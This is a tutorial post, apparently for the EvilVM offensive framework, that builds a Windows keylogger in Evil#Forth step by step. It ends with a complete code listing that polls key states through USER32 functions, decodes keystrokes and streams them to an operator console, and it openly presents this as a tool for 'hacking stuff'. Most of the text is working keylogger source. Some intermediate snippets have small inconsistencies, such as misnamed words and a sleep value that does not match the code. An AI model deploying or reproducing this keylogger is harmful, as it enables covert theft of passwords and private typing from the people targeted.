Example: Build a Keylogger
Monitoring Keystrokes
Getting an introduction to the language is one thing, but making something useful is another entirely. This post will walk through the process of developing a keylogger in Evil#Forth that can be deployed using the EvilVM system. This won’t be the fanciest keylogger ever, but should be useful enough as a starting point. And it’ll be a great way to introduce how to use EvilVM for its intended purpose – hacking stuff!
Our first challenge is to understand the mechanics of keylogging in Microsoft Windows. I read a product sheet for an anti-keylogger once that advertised protection against 40+ techniques. For this keylogger, we’ll use a simple one that usually works in today’s environments. We’ll build a super-sampling keylogger that polls the status of the keyboard frequently to detect when keypresses happen.
When you research how to monitor the keyboard, you’ll find that USER32.DLL has a neat function called GetKeyState. This function has a very simple prototype – all it does is return a value indicating the current status of a virtual keyboard key:
SHORT GetKeyState(
int nVirtKey
);
Evil#Forth provides an FFI, so it will be easy to run this function. Let’s import the DLL and get a wrapper for it. The first step is to load the library and assign its module handle to a constant:
loadlib user32.dll
value user32
Now that we have a HANDLE to the library, we can import functions from it. We’ll start with GetKeyState
:
user32 1 dllfun GetKeyState GetKeyState
The meaning of this line of code is as follows: put the DLL handle on the stack, followed by a 1
, which is the number of arguments the function import takes. Execute the dllfun
word, which will set up a function call whose name immediately follows. Finally, it will read the rest of the line to get the export name to look up in the DLL. I usually name the wrapper the same as the DLL export, but there are occasions where it makes sense to do otherwise. We’ll have a few more imports, so you’ll see some more examples of this later.
With this wrapper function defined, we can now call it and see what it does. Let’s check the status of a key. For the printable characters, the virtual key number is equivalent to the key’s capitalized ASCII code. We check The 16th bit in the return value to see if the key is currently down. E.g., here’s checking if the a
key is pressed.
: testkey GetKeyState $8000 and ;
: waitfor begin dup testkey until 1 ms repeat banner ;
65 waitfor
The waitfor
function enters a loop where it continually tests whether key code 65 is down. The loop terminates if it is, and the banner
word will print the Evil#Forth banner. When you run this, the system will enter that loop until the user presses the a
key, and you’ll immediately see the banner printed. This is a great way to make sure that this keylogging strategy will work for us!
So this is pretty handy, but testing for one keypress does not a keylogger make. We’ll need a way to keep track of which keys have been up, so when one is pressed we can tell. There are no more than 256 key scan codes, so we can easily enough keep track of this in an array of bytes. There are several ways to do memory allocation in Forth – we’ll just make a buffer in the dictionary in this case:
create keystate 256 allot does> swap + ;
So this is using a little bit of Forth magic here. The create
word makes a new entry in the dictionary whose behavior is just to put its address on the stack. Then, 256 allot
makes some empty space in the dictionary for our buffer. But the next part: does> swap + ;
needs some explaining.
The does>
word changes the behavior of the entry created by create
. Its content (ended by the ;
word) will become that word’s behavior, but when it runs it will be given the address of our buffer on the stack. So this is a shorthand way of making an auto-indexing array. If we want the 7th byte of keystate
, we can do the following:
7 keystate
And the result will be the address of the 7th byte in our array. OK, with that out of the way, we now can make a couple convenient words for managing key states.
: set -1 swap c! ;
: unset 0 swap c! ;
: isdown? GetKeyState $8000 and ;
: wasdown? dup keystate c@ ;
Note that true
and false
in Forth are traditionally -1
and 0
, respectively. This interface lets us maintain the array of key states in a readable manner.
\ mark the 'A' key as pressed
65 keystate set
\ mark the 'A' key as not pressed
65 keystate unset
Armed with this simple data structure, we can put together the core logic for monitoring keypresses. The algorithm is very simple – in a loop, check each key, determine if a keypress has happened, and update the status. For now, we will report detected keypresses just by printing out their scancode (the report
word below). In a little bit, we’ll decode them and make the output of the keylogger a lot prettier.
: report dup . ;
: isdown wasdown? if drop else report keystate set then ;
: testkey dup down? if isdown else keystate unset then ;
: testkeys 256 0 do i testkey loop ;
This does a point-in-time test of the keys. But we really want to do this forever in a loop. There are a couple details worth noting, given EvilVM’s usage paradigm, which we’ll get into after the code:
: keylog consume begin key? until testkeys 5 ms repeat consume ;
So first, the consume
and key? until
parts – these are to make it possible for the user to interrupt the loop. Once the code is running, it won’t voluntarily return control of execution to the outer interpreter unless we exit on purpose. So consume
will use up all available bytes in the input stream so we’ve caught up to what was delivered. Then, we can use key?
to test if there are any available input bytes. Basically, our begin ... repeat
loop will run until the user submits more input from the keyboard.
Also, the phrase 5 ms
will sleep for 10 milliseconds, which is good etiquette to avoid busy waiting and burning the user’s CPU. At this point, you can start the keylogger by submitting the following, and see a stream of scancodes coming out on the output stream. Here’s an example from my testing:
1 [sea-green] -> keylog
1 [sea-green] -> 1 16 160 84 72 69 32 81 85 73 67 75 32 66 82 79 87 78
32 70 79 88 32 74 85 77 80 83 32 79 86 69 82 32 84 72 69 32 76 65 90 89
32 68 79 71 190
Decoding Scan Codes
And as cool as this is, it’s not quite a user-friendly keylogger. You’ll see a few things wrong with it if you run it for awhile. For one thing, scancodes are obviously not as easy to read as characters. But for another, mouse clicks are in there, and shift/ctrl/alt keys, and other processing needs to be performed so that we can see it right. E.g., an a
and an A
are both scan code 65
, and the only way to differentiate them is by testing the status of the shift
key, etc.
I’ve written the code to do this processing before, but there’s a very easy way to do it in Windows. If you look back at the documentation for USER32.DLL, you’ll find that there are some other great functions for decoding scancodes. For now, let’s start by importing some more functions from that DLL and wrapping them up with Forth words:
user32 2 dllfun MapVirtualKey MapVirtualKeyA
user32 5 dllfun ToAscii ToAscii
Here you can see that we’re preferring the ANSI versions of these functions, and this is one of those cases where it’s convenient to have a different name for the export and the wrapper function. MapVirtualKey is pretty simple, but ToAscii’s behavior merits some explanation. It’s C prototype is:
int ToAscii(
UINT uVirtKey,
UINT uScanCode,
const BYTE *lpKeyState,
LPWORD lpChar,
UINT uFlags
);
Here you’ll see the benefit of using the 256-byte array for tracking the keyboard state. Given a virtual key and the current state of the keyboard, this function will translate it to an apropriate ASCII representation. Here’s a word that uses these functions to decode keystrokes:
: decode dup 0 MapVirtualKey 0 keys here 0 ToAscii ;
I’m using a little trick here that really saves effort. The MapVirtualKey
function just takes two arguments and returns the mapped key as an integer. No big deal. But the ToAscii
needs to be given a pointer to a location where it can write the result. Rather than allocate some space, we’ll just use the here
pointer, which always points to the next available spcae in the dictionary. As long as we use this data very soon, it’s a safe enough place to put things.
So with decoding, we can now update our report
word so it properly handles showing output to the user:
: .nl? dup 13 = if cr then ;
: .control +rev [char] ^ emit 64 + emit -rev ;
: print? dup 32 < if .control else emit then ;
: report decode if here c@ .nl? print? then ;
This will retrieve the byte from the here
pointer, assuming that decode
indicated a successful operation (it puts a boolean on the stack). This gets emitted to the output stream, with some extra processing, and that’s about it.
Let’s unpack some of what we’re doing there, though, so it’s clear. The first issue is that the ENTER
key is scancode 13
, which is a carriage return. If we emit that, we’ll never get scrolling to new lines. So the .nl?
word tests for CRs, and prints out a valid Forth newline (ironically called cr
for historical reasons).
Next, what happens if someone types characters less than a space? These are often control characters, and some of our favorite ones are in there. For example, a backspace (ASCII code 8
) is also a ^H
. We can print this in a pretty fashion by detecting when we find those and handling them differently. Note that +rev
and -rev
enable and disable reverse video, respectively.
Now, we can wrap it all up with the .pre
and .post
IO functions so that it plays nicely with the EvilVM console, et voila, we have a pretty, working keylogger, written in Evil#Forth! Save it to a file in the directory from which we ran the server console – say, code.fth
. Then we load the file (issue ^Kload code.fth
), and run the keylog
word. We should see something like this:
For reference, the final code for this keylogger looks like this:
loadlib user32.dll
value user32
user32 1 dllfun GetKeyState GetKeyState
user32 2 dllfun MapVirtualKey MapVirtualKeyA
user32 5 dllfun ToAscii ToAscii
create keystate 256 allot does> swap + ;
: set -1 swap c! ;
: unset 0 swap c! ;
: isdown? GetKeyState $8000 and ;
: wasdown? dup keystate c@ ;
: decode dup 0 MapVirtualKey 0 keystate here 0 ToAscii ;
: .nl? dup 13 = if cr then ;
: .control +rev [char] ^ emit 64 + emit -rev ;
: print? dup 32 < if .control else emit then ;
: report decode if here c@ .nl? print? then ;
: isdown wasdown? if drop else dup keystate set report then ;
: testkey dup isdown? if isdown else keystate unset then ;
: testkeys 256 0 do i testkey loop ;
: keylog consume begin key? until testkeys 5 ms repeat ;
: keylog .pre keylog .post ;